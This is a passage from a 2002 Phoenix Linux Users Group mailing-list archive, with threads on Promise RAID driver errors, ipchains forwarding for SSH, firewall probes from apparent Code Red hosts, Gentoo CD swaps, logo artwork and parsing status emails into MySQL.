any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) Thanks. Larry Lauer From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:47:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 12 Jun 2002 14:47:46 -0700 Subject: Promise Ultra 133 tx2 References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <3D07C182.CC623F44@qwest.net> What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:41:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 15:41:50 +0000 Subject: Promise Ultra 133 tx2 In-Reply-To: <3D07C182.CC623F44@qwest.net> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> <3D07C182.CC623F44@qwest.net> Message-ID: <200206131541.50212.jon@unfm00.com> I'm running Promise MBFastrack ata133 on my A7v333 board with kernel 2.4.19-pre10-ac2. You may want to go get the latest kernel and build it will support for you chipset. Then it may work right. I used these links. linux-ide.org http://www.murty.net/ataraid/ jon On Wednesday 12 June 2002 21:47, Kevin Brown wrote: > What user are you doing the insmod from? Operation not permitted makes me > think you don't have the right permissions (e.g. user root). > > Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller > > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > > > ft.o: init_module: Operation not permitted > > > > So I don't know if I am out of luck until promise makes a driver specific > > for the 133 or not. > > > > If anybody has any insight on this it would be greatly appreciated. I > > have searched on google and checked out promises site. maybe I missed > > something or just sol for now. but I really need the 120 gig drive. :) > > > > Thanks. > > > > Larry Lauer > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:02:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 16:02:15 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DD2@azmscorp01.corp.azms> insmod was run as root. -----Original Message----- From: Kevin Brown [mailto:kevin_brown@qwest.net] Sent: Wednesday, June 12, 2002 2:48 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Promise Ultra 133 tx2 What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:24:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 16:24:31 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <200206121624.31879.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 02:33 pm, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific > for the 133 or not. I doubt that it would be helpful, but what happens if you use modprobe instead of insmod? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:05:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Wed, 12 Jun 2002 17:05:39 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <20020613000539.GB25390@aries.evilmascot.com> I would suggest looking at kern.log and the tail end of dmesg (syslog or debug.log might also have something to help). I'm thinking it's either just a non-working module or its a kernel version problem (either your kernel is compliled to whine when you try inserting modules compiled under different kernel versions or it simply doesnt work with your kernel version). In any case hopefully the logs will say something. -Kyle On Wed, Jun 12, 2002 at 02:33:49PM -0700, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:34:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Wed, 12 Jun 2002 17:34:49 -0700 Subject: PLUG-discuss digest, Vol 1 #2343 - 16 msgs In-Reply-To: <200206121825.g5CIP4227743@PlugList.MyButt.Net> References: <200206121825.g5CIP4227743@PlugList.MyButt.Net> Message-ID: <200206121734.49934.arkane_@yahoo.com> heh... my mistake... I use two email addresses, and I keep posting with my hotmail address. god I feel stupid now. I fixed it. Thanks -- Dan On Wednesday 12 June 2002 11:25 am, plug-discuss-request@lists.plug.phoenix.az.us wrote: > From: Tom Achtenberg > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: This is going to sound really stupid but > Date: Wed, 12 Jun 2002 07:28:07 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Follow the directions on he link at the bottom of each message. There is > an unsubscribe spot on that page. You may be one of the handful > subscribers who have chosen to have their info hidden. > > -----Original Message----- > From: Dan Lund [mailto:dan_lund@hotmail.com] > Sent: Tuesday, June 11, 2002 1:54 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: This is going to sound really stupid but > > > I have a question.. How do I unsubscribe, so that I can subscribe again? > I'm not in the database (my email address isn't) of people who are > subscribed, but I get the list (explain that one?) and I need to get off of > this digest-style mailing preference! > > help :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:19:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:19:39 -0400 Subject: SSH and Firewalls? References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> Message-ID: <3D07F32B.DBB2B8E1@georgetoft.com> Craig White wrote: > > On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > > Question about running ssh over a masqueraded network: > > > > I have a linux box that serves as the "point" machine for my network > > on which I forward ports with ipchains (2.2 kernel) to to inside > > amachines which each run sshd. My outside machine currently is not > > running ssh yet. If the default policy on my input chain is ACCEPT, I > > can successfully forward non standard ports through to specific > > machines an establish ssh sessions on them with no problems. If I > > default the input chain to DENY, as is done in endoshield script, The > > connections time out and I cannot connect. In both cases, I forward > > the same ports. > > > > Bottom line, If I use endoshield and add on the ipfwadm commands to > > forward the ports mentioned above, connections time out; If I do not > > use endoshield but use a simpler script that basically leaves the > > input chain wide open, I can establish the ssh sessions - no problem. > ---- > been a while since I used ipchains and not seeing your script, what I > think is happening is that the input chains are considered before your > forward chains and thus if you policy is to DENY, then the packets are > denied before they ever hit the 'forward' chains. This is correct. ipchains put the input chain before the forward chain, and iptables puts the forward chain before the input chain. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:30:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 12 Jun 2002 18:30:56 -0700 Subject: Plug logo References: <02061212342215.08309@nova.wedge.org> Message-ID: <3D07F5D0.6040808@deru.com> Jim wrote: > > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. > Both Susan and I can open the original gif file from the website using gimp - no problem. On my machine I just right-mouse-clicked and did a 'save-as'. I then just opened the file (plug.gif) using gimp 1.2 . The installfest flyer was done using gimp and the PLUG logo from the website. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:22:35 -0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> <200206131339.49473.jon@unfm00.com> Message-ID: <3D07F3DB.F017CD4E@georgetoft.com> How did you get his number? Whois? If not, then I'm really curious. George Get it? Curious George? I know, it's tacky. Jon K wrote: > > I had this happen to me too... I had over 500 hits from some guys IIS 5.0 > server in just one day. So I found out who he was and called his house. The > man sounded a little shocked I had his number. The computer went of line > quickly. :) > > Jon > > On Wednesday 12 June 2002 07:18, User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > > what seems to be Russia. At least today it seems to be Russia. > > Novoisvirsk, it seems like, according to traceroute. > > I don't know a whole lot about probes like this but am thankful to you > > folks for your guidance with regard to firewalls. > > > > Is there something that we can do with regard to this type of thing? > > Maybe, just track them down for fun. Where would be a good place to > > start reading about this sort of thing. > > > > We trace routed them throught 25 hops to 217.70.107.151 > > > > p151.rnttu.sinor.ru was the last hop on the list. > > > > Thank you > > Roger > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 02:37:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Wed, 12 Jun 2002 19:37:27 -0700 Subject: SSH and Firewalls? In-Reply-To: <3D07F32B.DBB2B8E1@georgetoft.com>; from george@georgetoft.com on Wed, Jun 12, 2002 at 09:19:39PM -0400 References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> <3D07F32B.DBB2B8E1@georgetoft.com> Message-ID: <20020612193722.A549@lnx3.holmesgrown.com> Just to let you all know, I got the ssh problem figured out. I had to add the custom non standard ports to the input chain - actually, the inet-in rule in my case. It now works now. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 03:48:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 20:48:00 -0700 Subject: gentoo CD's Message-ID: <20020612204800.70b93d74.snoogans@qwest.net> was wondering if someone would be able to burn me a stage 1 ISO for gentoo and bring it to the meeting tommorow, I will reimburse for the CD :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:10:09 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122210.13484.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) How about this? If I finish downloading the ISO tonight, I will burn a couple and bring them (for free even). ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCk0pNoctRtUIRQRAoVRAJsFheSR6ugsHjQd/728pQDElLkLjACfUWTe SbbjCvAIhXJbqSNbfAA7ru0= =ILyl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:11:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 22:11:28 -0700 Subject: Plug logo In-Reply-To: <200206121418.36425.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> <200206121418.36425.zen2now@qwest.net> Message-ID: <1023945088.3d082980d6e41@webmail.freedom2surf.net> Quoting slr : > ok i sent the png image to my graphic guy, we will refer to him from now on > as > "Austin" (the name has been changed to protect his innocence), and this was > > his response: > > this is the same .gif inside of a .png document... > > vector images are made of lines and math, keeping high quality no matter > how large or small you resize the image. > > raster images are made of many many dots or pixels of only 257 different > colors, so when you enlarge these images, they get choppy or "pixilated" You might want to look at Ewing's site http://www.isc.tamu.edu/~lewing/linux/ for a vector (EPS) of TUX. I think it would easy to remake a 300dpi logo from scratch using that, adding text (the font above and below Tux is Bauhaus93, I think), and finding some nice vector catcus artwork. The logo on the website is not of high enough resolution to go out to print. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 13 Jun 2002 01:12:30 -0400 (EDT) Subject: help In-Reply-To: <200206130000.g5D002230465@PlugList.MyButt.Net> Message-ID: whoops! sorry 'bout that... :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:14:25 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122214.30492.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) I just noticed it was small. Which file do you need: gentoo-i686-1.2.iso gentoo-ix86-1.2.iso Just let me know. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD TWH/B9uiAzVTS7bCOj30xTI= =lnfy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 22:31:07 -0700 Subject: gentoo CD's In-Reply-To: <200206122214.30492.voltage_spike@fastmail.fm> References: <20020612204800.70b93d74.snoogans@qwest.net> <200206122214.30492.voltage_spike@fastmail.fm> Message-ID: <20020612223107.2c4a4891.snoogans@qwest.net> just the 16MB stage one iso for x86. And thanks alot :) On Wed, 12 Jun 2002 22:14:25 -0700 "Voltage Spike" wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > > and bring it to the meeting tommorow, I will reimburse for the CD :) > > I just noticed it was small. Which file do you need: > gentoo-i686-1.2.iso > gentoo-ix86-1.2.iso > > Just let me know. > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD > TWH/B9uiAzVTS7bCOj30xTI= > =lnfy > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 06:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 12 Jun 2002 23:49:14 -0700 (MST) Subject: IT Business Expo Message-ID: Just wanted to pass this along to everyone. If you want free tickets to the upcoming annual AZ Central IT Business Expo (July 25th and 26th) please email me off-list and I'll take care of you. I've got a bunch of tickets and would like to help out some PLUG folks that want to go to the expo. No strings attached - just free tickets. :) ~Jay -- == Jay Jacobson == President - Edgeos, Inc. == Security is Critical - http://edgeos.com == Easily test your network for 975+ security threats. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 14:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Thu, 13 Jun 2002 07:38:05 -0700 Subject: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <01cf01c212e7$ef400210$4a67c6d0@chelly> How big do you want your hard drive to be? I have a 4.3Gb laptop drive left over after I upgraded to a 40Gb. Tony Wasson ajwasson@inficad.com ----- Original Message ----- From: "Bryce C." To: Sent: Sunday, June 02, 2002 14:59 Subject: OT: Laptop Parts > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:04:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 08:04:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June Message-ID: Just the place to get whatever bits of hardware you need to build that spare system for the InstallFest on the 22nd -- Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ http://azweb.com/troop446/ Sponsored by Boy Scout Troop 446 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:14:45 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:00:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 14:00:20 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:37:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (James Shaker) Date: Thu, 13 Jun 2002 08:37:35 -0700 Subject: Suggestions? Message-ID: <002101c212f0$3d6a1a90$0100000a@kilo> Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:38:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 08:38:51 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D08BC8B.A96E002C@leml.asu.edu> James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, well... any of thous would be good, and so would Spirit++ (a c++ template library which replaces most of the functunality of Yacc and Lex (or Bison and Flex for the GNU crowd). It is availible on sourceforge. EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:03:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 13 Jun 2002 11:03:01 -0500 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo>; from james@vartek-corp.com on Thu, Jun 13, 2002 at 08:37:35AM -0700 References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613110301.A26829@lilly.csoft.net> I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:16:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 13 Jun 2002 09:16:35 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> <20020613110301.A26829@lilly.csoft.net> Message-ID: <3D08C563.6070808@ttiltd.com> As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > >v/r >Mike > >On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:25:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 13 Jun 2002 09:25:15 -0700 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo> References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613162515.GY14558@ecloud.org> I'd only suggest using XML formatting in your email and then you will be somewhat future-proof. Then use whatever language is most comfortable and has a MySQL driver; they all have XML parsers I think. Or, instead of email you could make an HTTP connection and use SOAP protocol; Apache has a SOAP layer available, but it's easy enough to write a Perl CGI or PHP script or servlet to handle SOAP as well. And it's then easy to replace the modem with a wired Internet connection later if anybody wants to do that. On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > I would like 